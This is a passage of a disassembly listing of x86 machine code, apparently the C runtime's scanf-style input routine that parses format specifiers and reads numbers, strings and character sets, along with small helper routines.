-1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420F16 mov edi, [ebp+arg_0] jmp short loc_42053F ; --------------------------------------------------------------------------- loc_42053A: ; CODE XREF: sub_420510+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42053F: ; CODE XREF: sub_420510+28j cmp dword_43C534, 1 jle short loc_420557 movzx eax, al push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420566 ; --------------------------------------------------------------------------- loc_420557: ; CODE XREF: sub_420510+36j mov ecx, off_43C328 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420566: ; CODE XREF: sub_420510+45j cmp eax, ebx jz short loc_4205A0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420F9D pop ecx pop ecx push eax call sub_420F86 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 add esp, 0Ch loc_42058E: ; CODE XREF: sub_420510+8Ej test eax, eax jz short loc_4205A0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 pop ecx jmp short loc_42058E ; --------------------------------------------------------------------------- loc_4205A0: ; CODE XREF: sub_420510+58j ; sub_420510+80j cmp byte ptr [esi], 25h jnz loc_420E82 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4205D7: ; CODE XREF: sub_420510+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43C534, 1 jle short loc_4205F4 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420603 ; --------------------------------------------------------------------------- loc_4205F4: ; CODE XREF: sub_420510+D3j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420603: ; CODE XREF: sub_420510+E2j test eax, eax jz short loc_420619 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420619: ; CODE XREF: sub_420510+F5j cmp ebx, 4Eh jg short loc_42065C jz short loc_42067E cmp ebx, 2Ah jz short loc_420657 cmp ebx, 46h jz short loc_42067E cmp ebx, 49h jz short loc_420639 cmp ebx, 4Ch jnz short loc_42066B inc [ebp+var_D] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420510+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42066B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42066B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420657: ; CODE XREF: sub_420510+113j inc [ebp+var_E] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_42065C: ; CODE XREF: sub_420510+10Cj cmp ebx, 68h jz short loc_420678 cmp ebx, 6Ch jz short loc_420670 cmp ebx, 77h jz short loc_420673 loc_42066B: ; CODE XREF: sub_420510+122j ; sub_420510+12Dj ... inc [ebp+var_F] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420670: ; CODE XREF: sub_420510+154j inc [ebp+var_D] loc_420673: ; CODE XREF: sub_420510+159j inc [ebp+var_5] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420678: ; CODE XREF: sub_420510+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42067E: ; CODE XREF: sub_420510+107j ; sub_420510+10Ej ... cmp [ebp+var_F], 0 jz loc_4205D7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4206A3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4206A3: ; CODE XREF: sub_420510+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4206C1 mov al, [esi] cmp al, 53h jz short loc_4206BD cmp al, 43h jz short loc_4206BD or [ebp+var_5], 0FFh jmp short loc_4206C1 ; --------------------------------------------------------------------------- loc_4206BD: ; CODE XREF: sub_420510+1A1j ; sub_420510+1A5j mov [ebp+var_5], 1 loc_4206C1: ; CODE XREF: sub_420510+19Bj ; sub_420510+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4206FA cmp esi, 63h jz short loc_4206EB cmp esi, 7Bh jz short loc_4206EB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420F9D pop ecx jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206EB: ; CODE XREF: sub_420510+1C5j ; sub_420510+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C loc_4206F6: ; CODE XREF: sub_420510+1D9j pop ecx mov [ebp+var_14], eax loc_4206FA: ; CODE XREF: sub_420510+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42070A cmp [ebp+var_C], eax jz loc_420EE6 loc_42070A: ; CODE XREF: sub_420510+1EFj cmp esi, 6Fh jg loc_420971 jz loc_420C23 cmp esi, 63h jz loc_42094E cmp esi, 64h jz loc_420C23 jle loc_42099B cmp esi, 67h jle short loc_42076E cmp esi, 69h jz short loc_420756 cmp esi, 6Eh jnz loc_42099B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420E51 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420756: ; CODE XREF: sub_420510+229j push 64h pop esi loc_420759: ; CODE XREF: sub_420510+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4209E3 mov [ebp+var_17], 1 jmp loc_4209E8 ; --------------------------------------------------------------------------- loc_42076E: ; CODE XREF: sub_420510+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42078A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42078F ; --------------------------------------------------------------------------- loc_42078A: ; CODE XREF: sub_420510+26Aj cmp ebx, 2Bh jnz short loc_4207A6 loc_42078F: ; CODE XREF: sub_420510+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207A9 ; --------------------------------------------------------------------------- loc_4207A6: ; CODE XREF: sub_420510+27Dj mov edi, [ebp+arg_0] loc_4207A9: ; CODE XREF: sub_420510+294j cmp [ebp+var_20], 0 jz short loc_4207B8 cmp [ebp+var_C], 15Dh jle short loc_4207BF loc_4207B8: ; CODE XREF: sub_420510+29Dj mov [ebp+var_C], 15Dh loc_4207BF: ; CODE XREF: sub_420510+2A6j ; sub_420510+2F2j cmp dword_43C534, 1 jle short loc_4207D4 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207D4: ; CODE XREF: sub_420510+2B6j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_4207DF: ; CODE XREF: sub_420510+2C2j test eax, eax jz short loc_420804 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420804 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207BF ; --------------------------------------------------------------------------- loc_420804: ; CODE XREF: sub_420510+2D1j ; sub_420510+2DBj cmp byte_43C538, bl jnz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax mov al, byte_43C538 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42082D: ; CODE XREF: sub_420510+360j cmp dword_43C534, 1 jle short loc_420842 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_42084D ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_420510+324j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_42084D: ; CODE XREF: sub_420510+330j test eax, eax jz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42082D ; --------------------------------------------------------------------------- loc_420872: ; CODE XREF: sub_420510+2FAj ; sub_420510+304j ... cmp [ebp+var_1C], 0 jz loc_42090A cmp ebx, 65h jz short loc_42088A cmp ebx, 45h jnz loc_42090A loc_42088A: ; CODE XREF: sub_420510+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4208B1 mov [esi], al inc esi jmp short loc_4208B6 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420510+39Aj cmp ebx, 2Bh jnz short loc_4208D4 loc_4208B6: ; CODE XREF: sub_420510+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4208C5 and [ebp+var_C], eax jmp short loc_4208D4 ; --------------------------------------------------------------------------- loc_4208C5: ; CODE XREF: sub_420510+3AEj ; sub_420510+3F8j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4208D4: ; CODE XREF: sub_420510+3A4j ; sub_420510+3B3j cmp dword_43C534, 1 jle short loc_4208E9 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4208F4 ; --------------------------------------------------------------------------- loc_4208E9: ; CODE XREF: sub_420510+3CBj mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_4208F4: ; CODE XREF: sub_420510+3D7j test eax, eax jz short loc_42090A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4208C5 ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_420510+366j ; sub_420510+374j ... dec [ebp+var_4] push edi push ebx call sub_420F86 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43C8D8 add esp, 0Ch jmp loc_420E77 ; --------------------------------------------------------------------------- loc_42094E: ; CODE XREF: sub_420510+20Cj cmp [ebp+var_20], eax jnz short loc_42095D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42095D: ; CODE XREF: sub_420510+441j cmp [ebp+var_5], 0 jle short loc_420967 mov [ebp+var_16], 1 loc_420967: ; CODE XREF: sub_420510+451j mov edi, offset dword_43C7B0 jmp loc_420A7C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420510+1FDj mov eax, esi sub eax, 70h jz loc_420C1F sub eax, 3 jz loc_420A6D dec eax dec eax jz loc_420C23 sub eax, 3 jz loc_420759 sub eax, 3 jz short loc_4209BF loc_42099B: ; CODE XREF: sub_420510+21Bj ; sub_420510+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420EE6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420E77 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420E77 ; --------------------------------------------------------------------------- loc_4209BF: ; CODE XREF: sub_420510+489j cmp [ebp+var_5], 0 jle short loc_4209C9 mov [ebp+var_16], 1 loc_4209C9: ; CODE XREF: sub_420510+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420A80 mov eax, edi lea edi, [eax+1] jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209E3: ; CODE XREF: sub_420510+24Fj cmp ebx, 2Bh jnz short loc_420A0A loc_4209E8: ; CODE XREF: sub_420510+259j dec [ebp+var_C] jnz short loc_4209F9 cmp [ebp+var_20], 0 jz short loc_4209F9 mov [ebp+var_F], 1 jmp short loc_420A0A ; --------------------------------------------------------------------------- loc_4209F9: ; CODE XREF: sub_420510+4DBj ; sub_420510+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420A0A: ; CODE XREF: sub_420510+4D6j ; sub_420510+4E7j cmp ebx, 30h jnz loc_420C58 push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420A58 cmp bl, 58h jz short loc_420A58 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420A42 push 6Fh loc_420A3C: ; CODE XREF: sub_420510+55Bj pop esi jmp loc_420C58 ; --------------------------------------------------------------------------- loc_420A42: ; CODE XREF: sub_420510+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx push 30h pop ebx jmp loc_420C55 ; --------------------------------------------------------------------------- loc_420A58: ; CODE XREF: sub_420510+517j ; sub_420510+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420A3C ; --------------------------------------------------------------------------- loc_420A6D: ; CODE XREF: sub_420510+46Fj cmp [ebp+var_5], 0 jle short loc_420A77 mov [ebp+var_16], 1 loc_420A77: ; CODE XREF: sub_420510+561j mov edi, offset dword_43C7A8 loc_420A7C: ; CODE XREF: sub_420510+45Cj ; sub_420510+4CEj or [ebp+var_18], 0FFh loc_420A80: ; CODE XREF: sub_420510+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420AA4 cmp byte ptr [edi], 5Dh jnz short loc_420AA4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_420510+584j ; sub_420510+589j mov dl, [ebp+var_35] loc_420AA7: ; CODE XREF: sub_420510+592j ; sub_420510+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420B0C inc edi cmp al, 2Dh jnz short loc_420AF3 test dl, dl jz short loc_420AF3 mov cl, [edi] cmp cl, 5Dh jz short loc_420AF3 inc edi cmp dl, cl jnb short loc_420AC6 mov al, cl jmp short loc_420ACA ; --------------------------------------------------------------------------- loc_420AC6: ; CODE XREF: sub_420510+5B0j mov al, dl mov dl, cl loc_420ACA: ; CODE XREF: sub_420510+5B4j cmp dl, al ja short loc_420AEF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420AD7: ; CODE XREF: sub_420510+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420AD7 loc_420AEF: ; CODE XREF: sub_420510+5BCj xor dl, dl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AF3: ; CODE XREF: sub_420510+5A0j ; sub_420510+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420B0C: ; CODE XREF: sub_420510+59Bj cmp byte ptr [edi], 0 jz loc_420F16 cmp [ebp+var_3C], 7Bh jnz short loc_420B1E mov [ebp+arg_4], edi loc_420B1E: ; CODE XREF: sub_420510+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420F86 pop ecx pop ecx loc_420B35: ; CODE XREF: sub_420510+6BCj ; sub_420510+6C4j cmp [ebp+var_20], 0 jz short loc_420B49 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420BE5 loc_420B49: ; CODE XREF: sub_420510+629j inc [ebp+var_4] push edi call sub_420F6C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420BD9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420BD9 cmp [ebp+var_E], 0 jnz short loc_420BD1 cmp [ebp+var_16], 0 jz short loc_420BC6 mov ecx, off_43C328 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420BA5 inc [ebp+var_4] push edi call sub_420F6C pop ecx mov [ebp+var_37], al loc_420BA5: ; CODE XREF: sub_420510+686j push dword_43C534 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423EC3 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420BC9 ; --------------------------------------------------------------------------- loc_420BC6: ; CODE XREF: sub_420510+673j mov [esi], al inc esi loc_420BC9: ; CODE XREF: sub_420510+6B4j mov [ebp+var_2C], esi jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD1: ; CODE XREF: sub_420510+66Dj inc [ebp+var_30] jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD9: ; CODE XREF: sub_420510+649j ; sub_420510+667j dec [ebp+var_4] push edi push eax call sub_420F86 pop ecx pop ecx loc_420BE5: ; CODE XREF: sub_420510+633j cmp [ebp+var_30], esi jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420E77 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420C17 and word ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C17: ; CODE XREF: sub_420510+6FCj and byte ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C1F: ; CODE XREF: sub_420510+466j mov [ebp+var_D], 1 loc_420C23: ; CODE XREF: sub_420510+203j ; sub_420510+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420C31 mov [ebp+var_17], 1 jmp short loc_420C36 ; --------------------------------------------------------------------------- loc_420C31: ; CODE XREF: sub_420510+719j cmp ebx, 2Bh jnz short loc_420C58 loc_420C36: ; CODE XREF: sub_420510+71Fj dec [ebp+var_C] jnz short loc_420C47 cmp [ebp+var_20], 0 jz short loc_420C47 mov [ebp+var_F], 1 jmp short loc_420C58 ; --------------------------------------------------------------------------- loc_420C47: ; CODE XREF: sub_420510+729j ; sub_420510+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax loc_420C55: ; CODE XREF: sub_420510+543j mov [ebp+var_14], ebx loc_420C58: ; CODE XREF: sub_420510+4FDj ; sub_420510+52Dj ... cmp [ebp+var_30], 0 jz loc_420D71 cmp [ebp+var_F], 0 jnz loc_420D4F loc_420C6C: ; CODE XREF: sub_420510+82Cj cmp esi, 78h jnz short loc_420CC0 cmp dword_43C534, 1 jle short loc_420C89 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420C96 ; --------------------------------------------------------------------------- loc_420C89: ; CODE XREF: sub_420510+768j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 80h loc_420C96: ; CODE XREF: sub_420510+777j test eax, eax jz loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420D13 ; --------------------------------------------------------------------------- loc_420CC0: ; CODE XREF: sub_420510+75Fj cmp dword_43C534, 1 jle short loc_420CD5 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420CD5: ; CODE XREF: sub_420510+7B7j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_420CE0: ; CODE XREF: sub_420510+7C3j test eax, eax jz short loc_420D41 cmp esi, 6Fh jnz short loc_420CFE cmp ebx, 38h jge short loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423F90 jmp short loc_420D0D ; --------------------------------------------------------------------------- loc_420CFE: ; CODE XREF: sub_420510+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D280 loc_420D0D: ; CODE XREF: sub_420510+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420D13: ; CODE XREF: sub_420510+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420D2B dec [ebp+var_C] jz short loc_420D4F loc_420D2B: ; CODE XREF: sub_420510+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420C6C ; --------------------------------------------------------------------------- loc_420D41: ; CODE XREF: sub_420510+788j ; sub_420510+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420D4F: ; CODE XREF: sub_420510+756j ; sub_420510+819j cmp [ebp+var_17], 0 jz loc_420E35 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420E35 ; --------------------------------------------------------------------------- loc_420D71: ; CODE XREF: sub_420510+74Cj cmp [ebp+var_F], 0 jnz loc_420E2D loc_420D7B: ; CODE XREF: sub_420510+90Aj cmp esi, 78h jz short loc_420DBF cmp esi, 70h jz short loc_420DBF cmp dword_43C534, 1 jle short loc_420D9A push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DA5 ; --------------------------------------------------------------------------- loc_420D9A: ; CODE XREF: sub_420510+87Cj mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_420DA5: ; CODE XREF: sub_420510+888j test eax, eax jz short loc_420E1F cmp esi, 6Fh jnz short loc_420DB8 cmp ebx, 38h jge short loc_420E1F shl edi, 3 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DB8: ; CODE XREF: sub_420510+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DBF: ; CODE XREF: sub_420510+86Ej ; sub_420510+873j cmp dword_43C534, 1 jle short loc_420DD7 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DE4 ; --------------------------------------------------------------------------- loc_420DD7: ; CODE XREF: sub_420510+8B6j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 80h loc_420DE4: ; CODE XREF: sub_420510+8C5j test eax, eax jz short loc_420E1F push ebx shl edi, 4 call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420DF7: ; CODE XREF: sub_420510+8A6j ; sub_420510+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420E09 dec [ebp+var_C] jz short loc_420E2D loc_420E09: ; CODE XREF: sub_420510+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420D7B ; --------------------------------------------------------------------------- loc_420E1F: ; CODE XREF: sub_420510+897j ; sub_420510+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420E2D: ; CODE XREF: sub_420510+865j ; sub_420510+8F7j cmp [ebp+var_17], 0 jz short loc_420E35 neg edi loc_420E35: ; CODE XREF: sub_420510+843j ; sub_420510+85Cj ... cmp esi, 46h jnz short loc_420E3E and [ebp+var_1C], 0 loc_420E3E: ; CODE XREF: sub_420510+928j cmp [ebp+var_1C], 0 jz loc_420F16 cmp [ebp+var_E], 0 jnz short loc_420E77 inc [ebp+var_34] loc_420E51: ; CODE XREF: sub_420510+23Bj cmp [ebp+var_30], 0 jz short loc_420E67 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420510+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420E74 mov [eax], edi jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420510+95Ej mov [eax], di loc_420E77: ; CODE XREF: sub_420510+241j ; sub_420510+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420EC4 ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420510+93j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420EF1 mov ecx, off_43C328 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420EC4 inc [ebp+var_4] push edi call sub_420F6C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420EFF dec [ebp+var_4] loc_420EC4: ; CODE XREF: sub_420510+970j ; sub_420510+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420EDA cmp byte ptr [esi], 25h jnz short loc_420F1C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420F1C mov esi, eax loc_420EDA: ; CODE XREF: sub_420510+9B8j mov al, [esi] test al, al jnz loc_42053A jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EE6: ; CODE XREF: sub_420510+1F4j ; sub_420510+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420510+98Aj dec [ebp+var_4] push edi push ebx loc_420EF6: ; CODE XREF: sub_420510+9DFj call sub_420F86 pop ecx pop ecx jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420510+9AFj dec [ebp+var_4] push edi push eax call sub_420F86 dec [ebp+var_4] push edi push ebx call sub_420F86 add esp, 10h loc_420F16: ; CODE XREF: sub_420510+1Fj ; sub_420510+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420F2D loc_420F1C: ; CODE XREF: sub_420510+9BDj ; sub_420510+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420F30 cmp [ebp+var_15], al jnz short loc_420F30 or eax, 0FFFFFFFFh jmp short loc_420F30 ; --------------------------------------------------------------------------- loc_420F2D: ; CODE XREF: sub_420510+A0Aj mov eax, [ebp+var_34] loc_420F30: ; CODE XREF: sub_420510+A11j ; sub_420510+A16j ... pop edi pop esi pop ebx leave retn sub_420510 endp ; =============== S U B R O U T I N E ======================================= sub_420F35 proc near ; CODE XREF: sub_420510+7A3p ; sub_420510+8DCp arg_0 = dword ptr 4 cmp dword_43C534, 1 push esi jle short loc_420F4F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_420F5E ; --------------------------------------------------------------------------- loc_420F4F: ; CODE XREF: sub_420F35+8j mov esi, [esp+4+arg_0] mov eax, off_43C328 mov al, [eax+esi*2] and eax, 4 loc_420F5E: ; CODE XREF: sub_420F35+18j test eax, eax jnz short loc_420F68 and esi, 0FFFFFFDFh sub esi, 7 loc_420F68: ; CODE XREF: sub_420F35+2Bj mov eax, esi pop esi retn sub_420F35 endp ; =============== S U B R O U T I N E ======================================= sub_420F6C proc near ; CODE XREF: sub_420510+1E1p ; sub_420510+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420F7E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420F7E: ; CODE XREF: sub_420F6C+7j push edx call sub_41F043 pop ecx retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= sub_420F86 proc near ; CODE XREF: sub_420510+6Bp ; sub_420510+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420F9C push [esp+arg_4] push [esp+4+arg_0] call sub_423FAF pop ecx pop ecx locret_420F9C: ; CODE XREF: sub_420F86+5j retn sub_420F86 endp ; =============== S U B R O U T I N E ======================================= sub_420F9D proc near ; CODE XREF: sub_420510+63p ; sub_420510+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 